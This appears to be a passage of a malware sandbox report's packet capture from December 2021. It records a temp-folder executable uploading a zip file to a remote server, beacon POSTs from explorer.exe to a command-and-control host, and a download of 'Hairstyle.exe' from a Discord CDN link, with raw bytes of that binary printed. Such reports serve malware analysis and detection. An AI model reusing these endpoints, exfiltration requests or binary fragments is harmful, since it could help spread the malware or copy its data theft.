68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49868	185.7.214.239	80	C:\Users\user\AppData\Local\Temp\8CA5.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:52.336898088 CET	20720	OUT	POST /POeNDXYchB.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----7G4EUSR9RI58QQIW Host: 185.7.214.239 Content-Length: 114221 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=qnbju213plqa6o6fit9kdukud5
Dec 28, 2021 05:19:52.337030888 CET	20732	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 47 34 45 55 53 52 39 52 49 35 38 51 51 49 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 55 33 37 51 51 49 45 4b 4e 47 56 Data Ascii: ------7G4EUSR9RI58QQIWContent-Disposition: form-data; name="file"U37QQIEKNGVAAAAI.zip------7G4EUSR9RI58QQIWContent-Disposition: form-data; name="file"; filename="U37QQIEKNGVAAAAI.zip"Content-Type: application/octet-streamContent-
Dec 28, 2021 05:19:52.397411108 CET	20734	OUT	Data Raw: 8b 4f 48 4c 4a 46 67 65 63 72 72 f3 f2 0b 2a 2a b1 55 d5 35 b5 75 f5 df 5b 5a db da 3b 3a bb ba 07 87 86 47 46 c7 7e 8d 4f cc ce cd 2f 2c 2e 2d af ac ae ed ee ed 1f 1c 1e 1d 9f fc 3d c5 d7 8b 00 ac e7 ff 7a fd bf ad 17 15 58 2f 42 22 a2 2b 44 a4 Data Ascii: OHLJFgecrr**U5u[Z;:GF~O/,.-=zX/B"+DzzO""f$%C6PUo;prfUO5? U\LsX;F+;2DV0Rw@RS,p\nJ/E_hTK
Dec 28, 2021 05:19:52.397874117 CET	20752	OUT	Data Raw: 47 6f 16 ba 9c 10 db 55 94 2b bb 0a 42 40 93 5f aa 0f a7 63 44 66 80 15 85 0f 66 0e 07 fc 65 74 db 3e bb 3a e5 b7 d2 5e 5a 90 25 ba 57 1a d2 bc f0 7a ac 79 83 dd 05 ac 01 5d a3 69 c4 49 cc 81 f8 2e 0e 20 13 cc 43 27 30 18 0e 32 3d 9b b2 0e a5 33 Data Ascii: GoU+B@_cDffet>:^Z%Wzy]iI. C'02=3Qf6wzn~)6}Hk^0D+Ipah;*O5/qq^\l}1Z)/sswAj8@\|+ji&N/O$:PO
Dec 28, 2021 05:19:52.397938013 CET	20758	OUT	Data Raw: 51 f4 50 fc 35 4d 49 09 ff ef 9b 19 8d 9f b3 4b be c4 f5 b9 86 e3 80 be fc 5d 2d 7c 92 89 d5 7f 4b 5f e5 92 b9 62 74 e3 9f 3e d2 67 35 60 18 58 f1 6c e3 94 05 06 1d 4b 42 68 40 a0 ad 0e cb f1 af 7f 20 7d 17 07 b0 2f 07 37 6f 70 3b 82 ad 63 d0 94 Data Ascii: QP5MIK]-\|K_bt>g5`XlKBh@ }/7op;c0}t\+\|#{fD#75GD~*3-y\|)znYqi(MOv&~z6?5Az!kC0gky^hZ39")
Dec 28, 2021 05:19:52.457200050 CET	20763	OUT	Data Raw: 7e 58 87 bb 67 d5 5b f5 dd 30 fa 56 f0 26 41 a3 bc ee f7 82 a9 29 c7 4b c8 9f 32 ee 8c 87 b9 b9 f3 c6 77 92 3f ee 32 56 17 12 6f 06 7d b6 61 10 2b 76 7d 79 54 ed f2 7d 74 23 14 40 74 5f 11 8a 74 3f 5f 0c 77 76 4d 5e d6 4f 65 7c 11 36 ce a1 48 1e Data Ascii: ~Xg[0V&A)K2w?2Vo}a+v}yT}t#@t_t?_wvM^Oe\|6HK"aog~.0y~O[iWP+ahl)E2WNCnM5DE;Im: :&C8kBEf!9TO4/5?R^~
Dec 28, 2021 05:19:52.457290888 CET	20769	OUT	Data Raw: 2a 66 43 cf fd 48 30 b6 35 62 d3 4e b1 ad 01 4b df 77 1f 30 6f d4 92 1e 94 de 39 59 c4 01 ac de f7 4f ff a4 9f 42 e2 30 d0 bd 5e b2 e3 e1 be 89 82 82 a2 58 3d df 0e f4 5f 26 25 55 a8 88 e1 17 9f 4e c4 80 8a 5c f8 59 cb 25 13 5d 4d 90 28 9f 3c 7f Data Ascii: *fCH05bNKw0o9YOB0^X=_&%UN\Y%]M(<Z<Ci42a_<Z"^`^{&fjMmwx>>Y~MZLBD[}q?RmaUHnZ-%%
Dec 28, 2021 05:19:52.457318068 CET	20776	OUT	Data Raw: 8a f5 17 4d 17 18 2c 7b 3e 57 8c c0 11 36 79 17 ba 33 19 65 a7 b4 fc 1c 31 e9 20 60 55 07 3e 3f d7 32 44 6a 0b bb a7 92 f3 80 da dd 84 de 67 e1 ab 9e 1d 80 67 ec 45 d4 53 4b 66 ff 4d d9 ea 97 12 94 f5 be 04 6f 3f 98 2a 8b 45 7a c9 3f 05 d4 cf 69 Data Ascii: M,{>W6y3e1 `U>?2DjggESKfMo?*Ez?i0~}sWy#sz'k{a%etjI8W)l5vObW-y>8'lNV2PQb-t-=RQ:.NtYLE{`4_o+aTz7WPw3Tl&
Dec 28, 2021 05:19:52.457357883 CET	20782	OUT	Data Raw: 10 78 e1 15 bf a6 96 e9 1f a2 e7 ff 02 2e 2a 21 8b 65 10 46 68 2b c0 45 d2 f8 2c c0 eb 71 c9 35 af 1e 60 30 6c 80 47 99 32 0c e6 b9 a4 6a e4 c5 df 6b 01 c3 34 2f 67 3d c8 e0 48 45 6d 4f 8a ff ec c9 91 8a 2a 02 5b ea de cf 96 d9 0c 23 c9 f8 09 de Data Ascii: x.!eFh+E,q5`0lG2jk4/g=HEmO[#9bOz*BS)?#0UPydz1q-q(?UP0Rc$TcE>KnfH#Q92%yrQ:>>)HIoimkf~k{f^iV
Dec 28, 2021 05:19:52.457387924 CET	20784	OUT	Data Raw: a9 77 b9 6e 2a 5b da 98 77 f9 8e d6 c8 79 45 7a 75 50 0f 34 6d 1e e9 5d ae 0a d4 fa d3 f6 3f db 03 3b aa 05 cb e1 df 7f b0 9c a4 4f 44 0b 37 db bd 1c 19 f6 a0 29 8a 51 c7 1c da c3 5c 45 2d 9c e2 92 e7 88 7c 75 20 5d 6f a9 39 ac c0 1f d2 f7 ed d7 Data Ascii: wn[wyEzuP4m]?;OD7)Q\E-\|u ]o9yh8w{q;og359ZlJ4~T9oeQ42X&1cg0%@g@R3=-peX%{2jvO$xWg42R]TXc}@[t%^&)69HE
Dec 28, 2021 05:19:52.457596064 CET	20793	OUT	Data Raw: d6 3a d4 8d 2f a9 93 6f c4 ae 87 77 0b 78 ec e9 d6 a8 39 d0 80 73 ef 33 38 ea af 04 d2 17 74 4e 51 1b e6 12 22 0a fb c9 bf b2 a3 8c f9 d3 dd b5 9a 52 47 8a 26 b0 97 a2 01 d3 dd 13 c9 37 42 d7 b0 fb fb d6 46 bb 84 88 54 12 09 5d 8f 86 66 f8 d9 35 Data Ascii: :/owx9s38tNQ"RG&7BFT]f5G43f(T4M\|`.})vCIeO3A5lS ,>!,4b@74P~w@hTvDpX=_*L;#{?lW xb8
Dec 28, 2021 05:19:52.595758915 CET	20837	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:52 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49747	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.395564079 CET	1171	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qvavjfmo.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.395587921 CET	1171	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 0e a4 a1 26 Data Ascii: 7xG5f0@^wmDu$f]d& Eo.(hSkH\|Ejg-_'(Xm'Uez{#fV\F=kL+h6c%Y)%HV
Dec 28, 2021 05:18:40.507977962 CET	1172	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49748	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.603866100 CET	1173	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://poiftoddew.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.603879929 CET	1173	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 06 a8 8a 78 Data Ascii: 7xG5f0@^wmDu$f]dx+t-_]K}L#B$ApL\nkBcDhw@lGM8.BLX3VKK1?y>dS}xSs1(nFEeG&PR57d0?+KO
Dec 28, 2021 05:18:40.722018003 CET	1174	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49749	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.825201035 CET	1175	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rvmcdus.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.825746059 CET	1175	OUT	Data Raw: 10 87 80 e2 1c 81 d2 b0 ce 37 78 47 0a cc e4 8a 35 66 da 30 d5 40 1f 90 cd ec db 82 88 a1 95 82 11 c6 5e a1 1a 1f cf 92 9e d3 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 3d db a7 72 Data Ascii: 7xG5f0@^wmDu$f]d=r@.PKyPhG^rL@*Ofg+l%hx+GS)0&\ze]O0dbJ"jgEa#
Dec 28, 2021 05:18:40.945710897 CET	1175	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49798	162.159.134.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:03 UTC	0	OUT	GET /attachments/812323288264605709/924475642190397461/Hairstyle.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-28 04:19:03 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:03 GMT Content-Type: application/x-msdos-program Content-Length: 537600 Connection: close CF-Ray: 6c47fcf9a87d5bf9-FRA Accept-Ranges: bytes Age: 141110 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Hairstyle.exe ETag: "ccbcf301b4a4c51fc6ac6108e1a0a702" Expires: Wed, 28 Dec 2022 04:19:03 GMT Last-Modified: Sun, 26 Dec 2021 01:36:09 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1640482569070203 x-goog-hash: crc32c=PSVQSg== x-goog-hash: md5=zLzzAbSkxR/GrGEI4aCnAg== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 537600 X-GUploader-UploadID: ADPycdueFBCIcpXpwjjPhSfnwX7v2qpZYX17QNFW0kDTuRGuja_YYOsN5NFHyxf0P2m-HrTGiGB8CM7VeDA6wPv7sBk X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-28 04:19:03 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 65 4f 44 7a 25 32 46 65 5a 33 49 55 36 38 4d 77 37 72 52 44 59 78 6b 5a 68 5a 57 53 59 63 35 32 48 57 39 71 66 42 69 54 4c 72 68 41 58 49 41 57 25 32 42 33 69 5a 4d 38 31 75 52 30 73 38 77 45 59 41 46 31 50 79 51 52 51 4e 33 52 59 63 6d 64 45 56 78 37 32 57 54 56 43 53 6d 45 50 4a 34 61 37 55 6f 50 74 63 36 4b 69 42 6e 39 68 68 52 55 53 57 71 57 68 4a 6a 73 4f 32 4d 49 79 44 4d 66 53 66 71 67 69 38 46 71 61 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eODz%2FeZ3IU68Mw7rRDYxkZhZWSYc52HW9qfBiTLrhAXIAW%2B3iZM81uR0s8wEYAF1PyQRQN3RYcmdEVx72WTVCSmEPJ4a7UoPtc6KiBn9hhRUSWqWhJjsO2MIyDMfSfqgi8Fqag%3D%3D"}],"group":"cf-nel","max_age":60
2021-12-28 04:19:03 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 02 78 ff c8 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 2c 08 00 00 06 00 00 00 00 00 00 8e 4b 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELx0,K `@ @
2021-12-28 04:19:03 UTC	2	IN	Data Raw: 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 f6 28 a9 00 00 06 28 5d 01 00 06 38 01 00 00 00 2a d0 27 00 00 02 7e 77 Data Ascii: ((0*(((((((((((((((((0*((]8'~w
2021-12-28 04:19:03 UTC	4	IN	Data Raw: 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0e 1f 09 1f 1a 06 28 93 00 00 06 12 05 11 06 09 11 04 19 1f 0e 1f 1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f 0d 1b 1f 1d 06 28 93 00 00 06 12 06 09 11 04 11 05 18 1f 09 1f 1e 06 28 93 00 00 06 12 05 11 06 09 11 04 1d 1f 0e 1f 1f Data Ascii: (((((((((((((
2021-12-28 04:19:03 UTC	5	IN	Data Raw: 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 0f 38 2d 00 00 00 11 0f 16 3e 0c 00 00 00 11 0b 1e 62 13 0b 11 0c 1e 58 13 0c 08 11 0a 11 0f 58 11 0e 11 0b 5f 11 0c 1f 1f 5f 64 d2 9c 11 0f 17 58 13 0f 11 0f 06 3f cb ff ff ff 38 49 00 00 00 11 04 11 06 61 13 10 08 11 0a 11 10 20 ff 00 00 00 5f d2 9c 08 11 0a 17 58 11 10 20 00 ff 00 00 5f 1e 64 d2 9c 08 11 0a Data Ascii: X8#>biXY`X?8.XXbXb`Xb``%(XY@P>Ia8->bXX__dX?8Ia _X _d
2021-12-28 04:19:03 UTC	6	IN	Data Raw: 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 0a 61 13 15 11 08 11 0f 11 15 20 ff 00 00 00 5f d2 9c 11 08 11 0f 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11 08 11 0f 18 58 11 15 20 00 00 ff 00 5f 1f 10 64 d2 9c 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 0e 17 58 13 0e 11 0e 11 07 3f 26 fd ff ff 11 08 13 05 14 13 08 11 05 8e 69 1e 5b 13 0c 11 05 73 21 00 00 0a 73 38 01 00 06 Data Ascii: +X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&i[s!s8
2021-12-28 04:19:03 UTC	8	IN	Data Raw: 06 00 00 00 17 80 6a 00 00 04 11 05 2a 7e 6d 00 00 04 02 03 04 05 0e 04 0e 05 6f 2f 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 48 0a 00 70 18 8d 24 00 00 01 25 16 d0 14 00 00 01 28 23 00 00 0a a2 25 17 d0 24 00 00 01 28 23 00 00 0a a2 28 6d 00 00 0a 14 18 8d 0a 00 00 01 25 16 02 8c 14 00 00 01 a2 25 17 03 a2 6f 6e 00 00 0a 74 4e 00 00 01 2a 00 1b 30 08 00 e5 63 00 00 12 00 00 11 20 ae 01 00 00 fe 0e 6e 00 38 00 00 00 00 fe 0c 6e 00 45 8c 02 00 00 5d 13 00 00 e0 57 00 00 f9 3c 00 00 be 45 00 00 86 10 00 00 d1 13 00 00 6f 19 00 00 e1 07 00 00 a4 06 00 00 3e Data Ascii: j~mo/0(&0SQ(#rHp$%(#%$(#(m%%ontN0c n8nE]W<Eo>
2021-12-28 04:19:03 UTC	9	IN	Data Raw: 00 8a 13 00 00 ba 25 00 00 6e 2a 00 00 db 17 00 00 1b 3e 00 00 f2 52 00 00 14 05 00 00 f1 1a 00 00 6e 06 00 00 35 3b 00 00 bc 4b 00 00 3c 39 00 00 40 08 00 00 b5 1b 00 00 fe 42 00 00 4e 31 00 00 5f 40 00 00 15 56 00 00 4c 3f 00 00 07 3c 00 00 7f 15 00 00 d4 37 00 00 05 04 00 00 e8 22 00 00 6a 0a 00 00 59 02 00 00 41 13 00 00 d9 09 00 00 f4 36 00 00 e0 01 00 00 68 04 00 00 04 23 00 00 3d 14 00 00 e5 3d 00 00 1f 2b 00 00 62 4c 00 00 a5 10 00 00 30 3c 00 00 22 54 00 00 fa 31 00 00 ae 56 00 00 1b 18 00 00 b1 0e 00 00 e7 32 00 00 ac 37 00 00 7c 56 00 00 cb 55 00 00 4f 07 00 00 17 53 00 00 e1 18 00 00 24 13 00 00 d1 0b 00 00 59 21 00 00 69 1b 00 00 98 55 00 00 6f 38 00 00 73 1f 00 00 3b 31 00 00 62 22 00 00 80 55 00 00 c3 3b 00 00 75 44 00 00 c2 32 00 00 91 34 Data Ascii: %n*>Rn5;K<9@BN1_@VL?<7"jYA6h#==+bL0<"T1V27\|VUOS$Y!iUo8s;1b"U;uD24
